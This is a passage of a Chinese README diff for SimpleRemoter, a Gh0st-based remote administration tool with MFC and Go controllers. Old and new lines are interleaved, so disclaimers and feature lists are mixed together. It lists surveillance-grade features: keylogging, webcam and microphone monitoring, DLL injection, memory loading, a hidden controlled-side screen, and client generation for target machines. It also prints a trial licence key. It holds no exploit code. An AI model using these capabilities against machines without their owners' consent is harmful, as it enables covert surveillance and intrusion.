本项目长期以 **C++ MFC 主控**`YAMA.exe`)为核心交付形态——经典 Gh0st 架构、IOCP 高性能内核、完整的远程桌面 / 文件 / 进程 / 媒体功能栈、多层授权体系、品牌定制——**至今仍是主要使用的主控**。MFC 主控内置了基于 WebSocket 的 Web 远程桌面服务,从 v1.3.1 起就已经支持**任意平台的浏览器**远控被管设备(手机/平板/Linux/macOS 桌面均可)。
1. **合法用途**:本项目仅供合法的技术研究、学习交流和授权的远程管理使用。严禁将本软件用于未经授权访问他人计算机系统、窃取数据、监控他人隐私等任何违法行为
本版本v1.3.4)补上了最后一块拼图——**Go 主控**:一个**功能简单、聚焦于"远程桌面 + 远程终端 + 多用户分级"** 的轻量服务端,跨 Windows / Linux / macOS 编译运行。它的定位**不是替代 MFC**,而是为那些**不便于跑 Windows VPS** 的用户提供一个原生的 Linux/macOS 主控落点——例如纯 Linux 服务器、ARM Mac 长驻、嵌入式主控箱等场景
2. **使用者责任**:使用者必须遵守所在国家/地区的法律法规。因使用本软件而产生的任何法律责任,由使用者自行承担。
### 两种主控形态如何选择
3. **无担保声明**:本软件按"现状"提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性的担保。
| 形态 | GUI | 功能覆盖 | 平台 | 定位 |
|---|---|---|---|---|
| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 内置 Web 服务 | ✅ **全部功能** | Windows | **主推方案**。日常运维、文件管理、媒体采集、多层授权、品牌定制等都用它 |
| **Go 主控**(新) | Web UI任何浏览器 | 远程桌面 + 远程终端 + 多用户 | Windows / Linux / macOS | **补充方案**。需要"零 Windows 依赖"的纯 Linux/macOS 主控部署 |
4. **免责条款**:开发者不对因使用、误用或无法使用本软件而造成的任何直接、间接、偶然、特殊或后果性损害承担责任。
> [!TIP]
> 两种主控**用的是同一套客户端**——可以混搭,例如一台 Windows MFC 主控 + 一台 Linux Go 主控并行管理同一批设备群。
5. **版权声明**:本项目采用 MIT 协议开源,允许自由使用、修改和分发,但必须保留原始版权声明。
### Go 主控的核心能力v1.3.4 新增)
**继续使用本软件即表示您已阅读、理解并同意上述所有条款。**
- **远程桌面**H.264 流通过 WebSocket 直发浏览器WebCodecs 硬解1080P @ 20fps 流畅
- **远程终端**xterm.js + ConPTY/PTY支持调整尺寸、Tab 补全
- **多用户体系**:管理员 / 普通用户分级、Challenge-Response 登录、不透明 token、按设备组授权
- **生产部署**Nginx 反代 + Let's Encrypt + Keyboard Lock + 全屏控制、防止 ESC / F11 误退出
- **故意保持轻量**:不包含文件管理、媒体采集、注册表、服务管理等 MFC 主控专属功能——这些请走 MFC 主控
### 全平台支持矩阵
| | **客户端 (受控端)** | **主控端** |
|---|---|---|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
---
## 合规与反滥用
本项目长期坚持「明确的合规姿态」立场。本版本进一步收紧反滥用边界。
### 内置技术措施
源代码层面构筑多道独立可验证的反滥用屏障,详见 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md)
- **入站连接 IP 段校验**:试用版若被部署到公网会触发可见告警 latch
- **监听端口上限**:试用版限制 ≤ 2 个监听端口,防多租户中转改造
- **应用层 RTT 反代理**LAN 内 RTT 阈值检测,反向代理 / 隧道会被识别
- **多层授权架构**V2 ECDSA 离线 + V1 在线 + 试用版分级,每一层限制独立
- **Web 主控认证**:强制 Challenge-Response 登录、登录限流、不透明 token、操作可审计
### 合规文档
| 文档 | 内容 |
|---|---|
| 📖 [反滥用与合规使用政策](./docs/Compliance_AntiAbuse.md) | 完整的发行方-使用方责任划分 |
| 📖 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的源代码位置、设计动机、已知局限 |
> [!IMPORTANT]
> **网络连接与隐私声明**
>
> 主控程序(服务端)会根据授权状态与授权服务器进行网络通信:
>
> | 版本类型 | 连接行为 |
> |---------|---------|
> | 试用版本 | 维持与授权服务器的持续连接 |
> | V1/V2 授权版本 | 启动时连接验证,通过后断开 |
> | V2 离线授权版本 | 无需连接授权服务器 |
>
> 除获得离线授权外,主控程序会与授权服务器进行必要的数据交互(如检测破解行为、验证授权有效性)。
>
> **使用本软件即表示您接受主控程序与授权服务器之间的数据传输。如您不同意,请勿使用本软件。**
> **使用本软件即视为您已阅读、理解并接受上述合规文档全部条款。** 如您不能或不愿接受任一条款,请立即停止使用并销毁本软件副本。
### 网络连接与隐私
| 版本类型 | 连接行为 |
|---|---|
| 试用版本 | 维持与授权服务器的持续连接 |
| V1/V2 授权版本 | 启动时连接验证,通过后断开 |
| V2 离线授权版本 | 无需连接授权服务器 |
除获得离线授权外,主控程序会与授权服务器进行必要的数据交互(如检测破解行为、验证授权有效性)。
---
@@ -121,240 +139,149 @@
![远程桌面](./images/Remote.jpg)
- **多种截图方式**GDI兼容性强、DXGI高性能、虚拟桌面后台运行
- **智能压缩算法**
- DIFF 差分算法 - SSE2 优化,仅传输变化区域
- RGB565 算法 - 节省 50% 带宽
- H.264 编码 - 视频级压缩,适合高帧率场景
- 灰度模式 - 极低带宽消耗
- **自适应质量**:根据网络 RTT 自动调整帧率5-30 FPS、分辨率和压缩算法
- **多显示器**:支持多屏切换和多屏上墙显示
- **隐私屏幕**:被控端屏幕可隐藏,支持锁屏状态下控制
- **文件拖拽**Ctrl+C/V 跨设备复制粘贴文件
- **Web 远程桌面**:通过浏览器访问远程桌面,支持手机/平板([配置指南](./docs/WebHTTPS.md)
- **多种屏幕捕获**GDI / DXGI / 虚拟桌面Windows、X11 + XShmLinux、CGDisplayStreammacOS
- **智能压缩**DIFF 差分SSE2 优化)/ RGB565节省 50% 带宽)/ **H.264**视频级压缩x264 + VideoToolbox + WebCodecs/ 灰度模式
- **自适应质量**:根据 RTT 自动调节帧率5-30 FPS、分辨率、压缩算法
- **多显示器**:多屏切换 + 多屏上墙
- **跨设备文件拖拽**Ctrl+C/V 跨设备复制粘贴文件
- **Web 远程桌面**:浏览器直接访问,手机/平板可用([配置指南](./docs/WebHTTPS.md)
![Web远程桌面](./images/WebRemote.png)
### 文件管理
![文件管理](./images/FileManage.jpg)
- **V2 传输协议**全新设计,支持大文件(>4GB
- **断点续传**:网络中断后自动恢复,状态持久化
- **V2 传输协议**支持 >4GB 大文件、断点续传、SHA-256 校验
- **C2C 传输**:客户端之间直接传输,无需经过主控
- **完整性校验**SHA-256 哈希验证,确保文件完整
- **批量操作**:支持文件搜索、压缩、批量传输
- **批量操作**:搜索、压缩、批量传输
### 终端管理
![终端管理](./images/Console.jpg)
![终端管理](./images/LinuxClient.png)
- **交互式 Shell**完整的命令行体验,支持 Tab 补全
- **ConPTY 技术**Windows 10+ 原生伪终端支持
- **现代 Web 终端**基于 WebView2 + xterm.jsv1.2.7+
- **终端尺寸调整**:自适应窗口大小
### 进程与窗口管理
| 进程管理 | 窗口管理 |
|---------|---------|
| ![进程](./images/Process.jpg) | ![窗口](./images/Window.jpg) |
- **进程管理**查看进程列表、CPU/内存占用、启动/终止进程
- **代码注入**:向目标进程注入 DLL需管理员权限
- **窗口控制**:最大化/最小化/隐藏/关闭窗口
### 媒体功能
| 视频管理 | 语音管理 |
|---------|---------|
| ![视频](./images/Video.jpg) | ![语音](./images/Voice.jpg) |
- **摄像头监控**:实时视频流,支持分辨率调整
- **音频监听**:远程声音采集,支持双向语音
- **键盘记录**:在线/离线记录模式
- **交互式 Shell**Tab 补全、ANSI 转义、调整尺寸
- **现代终端**Windows ConPTY、Linux/macOS PTY
- **Web 终端**xterm.js + WebSocket跟原生体验一致
### 其他功能
- **服务管理**:查看和控制 Windows 服务
- **注册表浏览**:只读方式浏览注册表内容
- **会话控制**:远程注销/关机/重启
- **SOCKS 代理**:通过客户端建立代理隧道
- **FRP 穿透**:内置 FRP 支持,轻松穿透内网
- **代码执行**:远程执行 DLL支持热更新
| 模块 | 能力 |
|---|---|
| **进程管理** | 进程列表、CPU/内存占用、终止、DLL 注入 |
| **窗口管理** | 最大化/最小化/隐藏/关闭 |
| **媒体采集** | 摄像头、双向语音、键盘记录 |
| **系统控制** | 服务管理、注册表、会话注销/关机 |
| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
| **代码执行** | 远程执行 DLL、内存加载、热更新 |
---
## 技术亮点
## 全平台支持
### 高性能网络架构
### Windows 客户端
```
┌─────────────────────────────────────────────────────────┐
│ IOCP 通信模型 │
├─────────────────────────────────────────────────────────┤
│ • I/O 完成端口Windows 最高效的异步 I/O 模型 │
│ • 单主控支持 10,000+ 并发连接 │
│ • 支持 TCP / UDP / KCP 三种传输协议 │
│ • 自动分块处理大数据包(最大 128KB 发送缓冲) │
└─────────────────────────────────────────────────────────┘
```
**系统要求**Windows 7 SP1 及以上
**功能完整性**:✅ 全部功能支持
### 自适应质量控制
### Linux 客户端v1.2.5+
基于 RTTRound-Trip Time的智能质量调整系统
**系统要求**
- 显示服务器X11/Xorg暂不支持 Wayland
- 必需库libX11推荐库libXtstXTest 扩展、libXss空闲检测
| RTT 延迟 | 质量等级 | 帧率 | 分辨率 | 压缩算法 | 适用场景 |
|---------|---------|------|--------|---------|---------|
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 局域网办公 |
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般办公 |
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨网/视频 |
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨网办公 |
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 较差网络 |
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 极差网络 |
| 功能 | 状态 | 实现 |
|---|---|---|
| 远程桌面 | ✅ | X11 屏幕捕获 + libx264 H.264 硬件编码 |
| 远程终端 | ✅ | PTY 交互式 Shell |
| 文件管理 | ✅ | V2 协议、双向传输、大文件 |
| 进程管理 | ✅ | 列表 + 终止 |
| 剪贴板同步 | ✅ | xclip / xsel 外部工具,支持文件 URI |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 守护进程 | ✅ | 双 fork 守护化 |
- **零额外开销**:复用心跳包计算 RTT
- **快速降级**2 次检测即触发,响应网络波动
- **谨慎升级**5 次稳定后才提升质量
- **冷却机制**:防止频繁切换
**编译**`cd linux && cmake . && make`
### V2 文件传输协议
### macOS 客户端v1.3.2+
```cpp
// 77 字节协议头 + 文件名 + 数据载荷
struct FileChunkPacketV2 {
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
uint64_t transferID; // 传输会话 ID
uint64_t srcClientID; // 源客户端 ID (0=主控端)
uint64_t dstClientID; // 目标客户端 ID (0=主控端, C2C)
uint32_t fileIndex; // 文件编号 (0-based)
uint32_t totalFiles; // 总文件数
uint64_t fileSize; // 文件大小(支持 >4GB
uint64_t offset; // 当前块偏移
uint64_t dataLength; // 本块数据长度
uint64_t nameLength; // 文件名长度
uint16_t flags; // 标志位 (FFV2_LAST_CHUNK 等)
uint16_t checksum; // CRC16 校验(可选)
uint8_t reserved[8]; // 预留扩展
// char filename[nameLength]; // UTF-8 相对路径
// uint8_t data[dataLength]; // 文件数据
};
```
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 架构Intel (x64) 和 Apple Silicon (arm64) 通用二进制
- 系统权限:屏幕录制、辅助功能、完全磁盘访问
**特性**
- 大文件支持uint64_t 突破 4GB 限制)
- 断点续传(状态持久化到 `%TEMP%\FileTransfer\`
- SHA-256 完整性校验
- C2C 直传(客户端到客户端)
- V1/V2 协议兼容
| 功能 | 状态 | 实现 |
|---|---|---|
| 远程桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬件编码 |
| 键鼠控制 | ✅ | CGEvent支持双击、拖拽 |
| 远程终端 | ✅ | PTY 交互式 Shellzsh/bash |
| 文件管理 | ✅ | V2 协议、大文件 |
| 进程管理 | ✅ | proc_listpids + 终止 |
| 剪贴板同步 | ✅ | NSPasteboard支持文件 URL + NSFilenamesPboardType |
| 守护模式 | ✅ | `-d` 后台运行、电源管理、空闲检测 |
### 屏幕传输优化
**编译**`cd macos && ./build.sh`
- **SSE2 指令集**:像素差分计算硬件加速
- **多线程并行**:线程池分块处理屏幕数据
- **滚动检测**:识别滚动场景,减少 50-80% 带宽
- **H.264 编码**:基于 x264GOP 控制,视频级压缩
### Go 主控v1.3.4+
### 安全机制
**系统要求**Go 1.21+(仅编译时);二进制运行无依赖
| 层级 | 措施 |
|------|------|
| **传输加密** | AES-256 数据加密,可配置 IV |
| **身份验证** | 签名验证 + HMAC 认证 |
| **授权控制** | 序列号绑定IP/域名),多级授权 |
| **文件校验** | SHA-256 完整性验证 |
| **会话隔离** | Session 0 独立处理 |
| 能力 | 实现 |
|---|---|
| 远程桌面 | H.264 → WebSocket → WebCodecs1080P @ 20fps |
| 远程终端 | xterm.js + PTY/ConPTY 透明转发 |
| 多用户 | Challenge-Response + 不透明 token + 按组授权 |
| 部署 | Nginx 反代 / Let's Encrypt / systemd unit / `/etc/environment` |
### 依赖库
| 库 | 版本 | 用途 |
|----|------|------|
| zlib | 1.3.1 | 通用压缩 |
| zstd | 1.5.7 | 高速压缩 |
| x264 | 0.164 | H.264 编码 |
| libyuv | 190 | YUV 转换 |
| HPSocket | 6.0.3 | 网络 I/O |
| jsoncpp | 1.9.6 | JSON 解析 |
**编译**`cd server/go && go build -o server_linux_amd64 ./cmd`
---
## 系统架构
### 全平台拓扑
```
┌─────────────────────────────────────────────────────────────────────────────
多层授权架构 (Multi-Layer Authorization)
├─────────────────────────────────────────────────────────────────────────────┤
┌─────────────────────┐
超级管理员 │
│ (授权服务器) │
│ Super Admin │
│ └─────────┬───────────┘ │
│ │
┌──────────────┼──────────────┐ │
│ V2 授权 │ V2 授权 │ V2 授权 │
│ (ECDSA) │ (ECDSA) │ (ECDSA)
▼ ▼ ▼ │
┌───────────┐ ┌───────────┐ ┌───────────┐
│ │ 第一层 A │ │ 第一层 B │ │ 第一层 C │ ◄── 独立运营 │
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔离
└─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│ │ │ │
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
│ │ V1 授权 │ │ │ V1 授权 │ │
│ ▼ ▼ ▼ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
│ │ 下级 A1 │ │ 下级 A2 │ │ 下级 C1 │ │ 下级 C2 │ │
│ │ Master │ │ Master │ │ Master │ │ Master │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
│ │
├─────────────────────────────────────────────────────────────────────────────┤
│ 授权类型 验证方式 特点 │
│ ───────────────────────────────────────────────────────────────────────── │
│ V2 授权 ECDSA P-256 签名 支持离线验证,下级连接数限制 │
│ V1 授权 HMAC + 在线验证 连接上级服务器验证 │
│ 试用版 在线验证 功能受限,需保持连接 │
└─────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
主控层
│ │
┌──────────────────┐ ┌──────────────────┐
C++ MFC 主控 Go 主控 │
YAMA.exe (Win/Linux/Mac) │
│ Windows only │ │ Web UI 全平台 │
└────────┬─────────┘ └────────┬─────────┘
└────────────┼──────────────────────────┼─────────────────┘
TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS
│ 客户端 │ 客户端 │ │ 客户端
│ (DXGI) (X11) │ │ (CG)
└─────────┘ └─────────┘ └─────────┘
```
### 架构优势
### 多层授权(简化视图)
| 特性 | 说明 |
|------|------|
| **层级控制** | 超级用户可管理任意主控程序,支持无限层级 |
| **完全隔离** | 不同第一层用户的授权、数据、客户端完全隔离 |
| **独立运营** | 第一层用户可独立定价、发放授权,打造专属品牌 |
| **水平扩展** | 单 Master 支持 10,000+ 客户端,多层架构可达百万级 |
| **离线支持** | V2 授权支持完全离线验证,无需依赖上游服务 |
```
超级管理员(授权服务器)
│ V2 授权 (ECDSA P-256)
第一层主控 ──┬── 第一层主控 ──┬── 第一层主控 ◄── 独立运营 / 完全隔离
│ V1 │ V1 │ V1
▼ ▼ ▼
下级主控 → 客户端 (10,000+) → 设备群
```
### 主控程序Server
| 授权 | 验证 | 特点 |
|---|---|---|
| V2 授权 | ECDSA P-256 签名 | 离线验证,下级连接数限制 |
| V1 授权 | HMAC + 在线验证 | 连接上级服务器验证 |
| 试用版 | 在线验证 | 功能受限、连接限制(详见 [合规文档](./docs/Compliance_AntiAbuse.md) |
主控程序 **YAMA.exe** 提供图形化管理界面:
![主界面](./images/Yama.jpg)
- 基于 IOCP 的高性能服务端
- 客户端分组管理
- 实时状态监控RTT、地理位置、活动窗口
- 一键生成客户端
### 受控程序Client
![客户端生成](./images/TestRun.jpg)
**运行形式**
| 类型 | 说明 |
|------|------|
| `ghost.exe` | 独立可执行文件,无外部依赖 |
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
| Windows 服务 | 后台运行,支持锁屏控制 |
| Linux 客户端 | 跨平台支持v1.2.5+ |
| macOS 客户端 | 跨平台支持v1.3.2+ |
完整说明:[多层授权方案](./docs/MultiLayerLicense.md)
---
@@ -364,62 +291,34 @@ struct FileChunkPacketV2 {
无需编译,下载即用:
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
2. **启动主控** - 运行 `YAMA.exe`,输入授权信息(见下方试用口令)
3. **生成客户端** - 点击工具栏「生成」按钮,配置服务器 IP 和端口
4. **部署客户端** - 将生成的客户端复制到目标机器运行
5. **开始控制** - 客户端上线后双击即可打开远程桌面
1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`,输入授权信息
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
4. **部署客户端** - 复制到目标机器运行
5. **开始控制** - 客户端上线后双击远程桌面
> [!TIP]
> 首次测试建议在同一台机器上运行主控和客户端,使用 `127.0.0.1` 作为服务器地址。
### 编译要求
### Go 主控部署VPS
- **操作系统**Windows 10/11 或 Windows Server 2016+
- **开发环境**Visual Studio 2019 / 2022 / 2026
- **SDK**Windows 10 SDK (10.0.19041.0+)
### 编译步骤
参见 [Web 远程桌面配置](./docs/WebHTTPS.md)。最小步骤:
```bash
# 1. 克隆代码(必须使用 git clone不要下载 zip
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
# 1. 在 VPS 上跑 Go 主控
nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
# 2. 打开解决方案
# 使用 VS2019+ 打开 SimpleRemoter.sln
# 2. nginx 反代 9001 到 HTTPS
# 详见 docs/WebHTTPS.md
# 3. 选择配置
# Release | x86 或 Release | x64
# 4. 编译
# 生成 -> 生成解决方案
# 3. 浏览器打开 https://yourdomain.com/,登录、添加客户端
```
**常见问题**
- 依赖库冲突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
- 非中文系统乱码:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
- 编译器兼容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
### 试用授权v1.2.4+
### 部署方式
#### 内网部署
主控与客户端在同一局域网,客户端直连主控 IP:Port。
#### 外网部署FRP 穿透)
提供 2 年有效期、20 并发连接、仅限内网的试用口令:
```
客户端 ──> VPS (FRP Server) ──> 本地主控 (FRP Client)
```
详细配置请参考:[反向代理部署说明](./反向代理.md)
### 授权说明
自 v1.2.4 起提供试用口令2 年有效期20 并发连接,仅限内网):
```
授权方式:按计算机 IP 绑定
主控 IP127.0.0.1
序列号12ca-17b4-9af2-2894
密码20260201-20280201-0020-be94-120d-20f9-919a
@@ -430,293 +329,135 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
> [!NOTE]
> **多层授权方案**
>
> SimpleRemoter 采用企业级多层授权架构,支持代理商/开发者独立运营:
> - **离线验证**:第一层用户获得授权后可完全离线使用
> - **独立控制**:您的下级用户只连接到您的服务器,数据完全由您掌控
> - **自由定制**:支持二次开发,打造您的专属版本
>
> 📖 **[查看完整授权方案说明](./docs/MultiLayerLicense.md)**
> 支持代理商/开发者独立运营:第一层用户获得授权后可完全离线使用,下级用户只连接到您的服务器。完整说明:[多层授权方案](./docs/MultiLayerLicense.md)
### 编译
- **C++ 主控 & Windows 客户端**VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
- **Linux 客户端**`cd linux && cmake . && make`
- **macOS 客户端**`cd macos && ./build.sh`
- **Go 主控**`cd server/go && go build ./cmd`
---
## 用户文档
针对不同用户角色提供完整的使用文档:
| 文档 | 适用对象 | 内容简介 |
|------|---------|---------|
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟完成首次部署,导入授权、配置网络、生成受管程序 |
| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 构建总控→二级→受管端的多级网络架构 |
| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 远程桌面、文件管理、终端、进程管理等功能详解 |
| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权管理、FRP 代理服务配置 |
| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、界面修改、二次开发 |
| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端用户 | 通过浏览器访问远程桌面,支持手机/平板 |
---
## 客户端支持
### Windows 客户端
**系统要求**Windows 7 SP1 及以上
**功能完整性**:✅ 全部功能支持
### Linux 客户端v1.2.5+
**系统要求**
- 显示服务器X11/Xorg暂不支持 Wayland
- 必需库libX11
- 推荐库libXtstXTest 扩展、libXss空闲检测
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | X11 屏幕捕获,鼠标/键盘控制 |
| 远程终端 | ✅ | PTY 交互式 Shell |
| 文件管理 | ✅ | 双向传输,大文件支持 |
| 进程管理 | ✅ | 进程列表、终止进程 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 守护进程 | ✅ | 双 fork 守护化 |
| 剪贴板 | ⏳ | 开发中 |
| 会话管理 | ⏳ | 开发中 |
**编译方式**
```bash
cd linux
cmake .
make
```
### macOS 客户端v1.3.2+
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 架构支持Intel (x64) 和 Apple Silicon (arm64) 通用二进制
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获VideoToolbox H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 |
| 远程终端 | ✅ | PTY 交互式 Shellzsh/bash |
| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 分组管理 | ✅ | 持久化配置文件 |
| 进程管理 | ⏳ | 开发中 |
| 剪贴板 | ⏳ | 开发中 |
**编译方式**
```bash
cd macos
./build.sh
# 或手动编译:
# mkdir build && cd build && cmake .. && make
```
| 文档 | 适用对象 | 内容 |
|---|---|---|
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟首次部署 |
| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 多级网络架构 |
| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 全功能详解 |
| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权、FRP 配置 |
| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、二次开发 |
| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端 / Go 主控用户 | HTTPS 反代、域名配置 |
| 📖 [反滥用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合规边界、责任划分 |
| 📖 [反滥用技术措施](./docs/Compliance_TechnicalMeasures.md) | 合规审查方 | 屏障代码位置 + 设计动机 |
---
## 更新日志
### v1.3.3 (2026.5.10)
### v1.3.5 (2026.5.31)
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
**硬件编码扩展H.264 / AV1& 多客户许可证生产化 & FRP 子级自动化**
**新功能:**
- **服务端身份校验Layer 1**Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
- **子连接认证Layer 2TOKEN_CONN_AUTH**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
- **Linux 客户端**H.264 硬件编码(动态加载 libx264、XFixes 光标类型检测、UTF-8 协议能力位
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
- **主控**屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
**重构:**
- Linux/macOS 客户端共享代码抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread减少 ~300 行重复
- **客户端硬件编码**:新增 FFmpeg 路径的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可调用 NVENC / Quick Sync / AMF 等 GPU 编码器;`EncoderFactory` 运行时自动优选
- **静屏跳编码**:捕获层比对前后帧,完全相同时跳过编码与传输——硬件编码器在静屏不再被强行喂入相同帧
- **菜单驱动的压缩 / 解压**:自定义文件 + 文件夹选择器(`ZstaPickerDlg`),可从远程主机直接选混合目录树打包或解压到目标路径
- **下级主控自动起 frp client**:上级签发 V2 授权时一并下发 frp 配置,子级主控启动即接通中继链路,无需人工配 `frpc.toml`
- **合规可裁剪构建**`DISABLE_X264` / `DISABLE_FFMPEG` 编译开关,可在不动源码的前提下产出完全不带 x264 / FFmpeg 的二进制,配套 `LICENSE-THIRD-PARTY.txt`
**改进:**
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
- `build.ps1` 增加 `vswhere` 兜底VS 装非默认盘也能找到)
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin适配分发场景
- **多客户许可证服务端硬化**`licenses.ini` hot-path 互斥锁 + 30s 节流,写频从 0.6 → 0.07 次/秒(外推 100 在线:~160 → ~3.3 次/秒);闭环了"预设续期配额消失"的 read-modify-write 竞态
- **`licenses.ini` IP 列表 4KB 截断修复**:分段写入避免溢出尾部被永久丢弃
- **导入 SN 按 `BindType` 严格校验**:避免离线版 / 在线版 / 试用版 SN 串库
- **客户端 SCLoader 大瘦身**:移除一万行硬编码 stub`SCLoader.cpp`),改用主控运行时下发 DLL 注入
- **客户端 logger 优雅退出**:进程退出刷出队列里的日志并记录退出信号
- **IOCPClient 早期数据包防护**`setManagerCallBack` 之前抵达的包不再触发空回调崩溃
- **多显示器光标位置修正 & MJPEG 录制翻转修复**trace cursor 跨屏坐标系修正MJPEG 上下颠倒回放修正 + 编码失败 0 字节 AVI 残留清理
- **FRP `privilegeKey` 改用 UTC 时间戳**:跨时区主控 / 中继 / 客户端不再因本地时区让 frp auth 失效
- **Linux 客户端 `install.sh` / `uninstall.sh`**:补齐一键部署 / 卸载脚本
- **Go 服务端构建管线**`build.ps1` / `build.cmd` 把 Go 主控纳入主构建
- **Release / Download 链接全量迁移到 Gitea**v1.3.4+ 不再发到 GitHub
**Bug 修复:**
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
- 现代终端在 SYSTEM 权限下空白WebView2 不支持 LocalSystem
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
- 日志列表表头点击错排序到主机列表
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
- 服务+代理 Release 模式托盘图标不显示
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
- 文件对话框 map 野指针崩溃
- 重连时未清回调导致访问已销毁 handler 崩溃
- MFC 与 Web 远程桌面会话未完全独立
- macOS 锁屏状态远程桌面启动时未唤醒显示器
- MFC 远程桌面触控板双指滚动失效
- Web 文件管理触屏双击不稳:触摸阈值放宽防误判拖拽 + 两次 `click` 模拟物理双击;修复跨平台文件夹重命名 / 点击无响应
- 向 sub-master 发送 AUTH 时密码生成路径错误,下级始终认证失败
- 试用 SN 误进入 V2 / V1 授权下发分支
### v1.3.4 (2026.5.20)
**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
**新功能:**
- **Go 主控**Go 语言实现的跨平台轻量主控服务Windows / Linux / macOS聚焦于"远程桌面 + 远程终端 + 多用户分级"——不替代 MFC 主控,为需要纯 Linux/macOS 落地的运维场景兜底
